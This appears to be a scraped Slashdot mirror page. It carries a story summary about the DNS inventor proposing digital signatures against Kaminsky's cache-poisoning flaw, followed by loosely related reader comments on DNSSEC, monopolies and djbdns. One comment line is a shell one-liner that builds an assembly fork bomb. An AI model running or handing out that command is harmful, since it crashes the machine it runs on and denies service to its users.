Slashdot Mirror
DNS Inventor Tackles Flaw
nk497 writes "Dr Paul Mockapetris is looking to fix the flaws in the Domain Name System he helped invent. 'It was never meant to be the only security mechanism for naming data on the internet, but was intended for additional security measures to be added to it later.' The flaws, first uncovered by security researcher Dan Kaminsky over the summer, lets attackers redirect genuine URLs to malicious ones — a problem Mockapetris believes could be solved using digital signatures."
That's right - let the Governments of the world fix the internet by legislation; after all, we all know how well the government understands the tubes of the intarweb. Perhaps Al Gore could be tapped to spearhead this incredibly important piece of legislation.
Look at the history of DNSsec; the specs have been done and redone several times over, there is no consensus, and it looks like it would be a bitch to admin.
Not really. Back when DNS was invented (1982) pretty much everything connected to the Internet was essentially a trusted machine. Arguably that was almost true until the Morris worm in 1988. Of course you could never truly trust them, but the idea was that if someone did something silly other people would phone them and then they would stop. Essentially it was an anarchy populated by non malicious people.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
It's trying to, but something is protecting the bankers.
Can you be Even More Awesome?!
The free market can not exist in environments where the government gives special monopolies to a few companies. The only real competition in this market is for these companies to protect their monopolies.
John D. Rockefeller said, "Competition is a sin."
A great muckraking book on this topic is Confessions of a Monopolist, written in 1903.
This kind of thing has been going on ever since the Supreme Court brazenly declared that a corporation has the same rights as a natural person.
If you have something that you dont want anyone to know, maybe you shouldnt be doing it in the first place -Eric Schmidt
A town? I think Gutenberg was a person.
It's not a question of DJB being too lazy to implement BIND zonefiles. It's more a question that BIND zonefiles must die because they're astoundingly difficult to parse, and even if they weren't, they're prone to user edit failures. Ever forgotten a dot at the end of a name? I haven't -- not since switching to djbdns.
Don't piss off The Angry Economist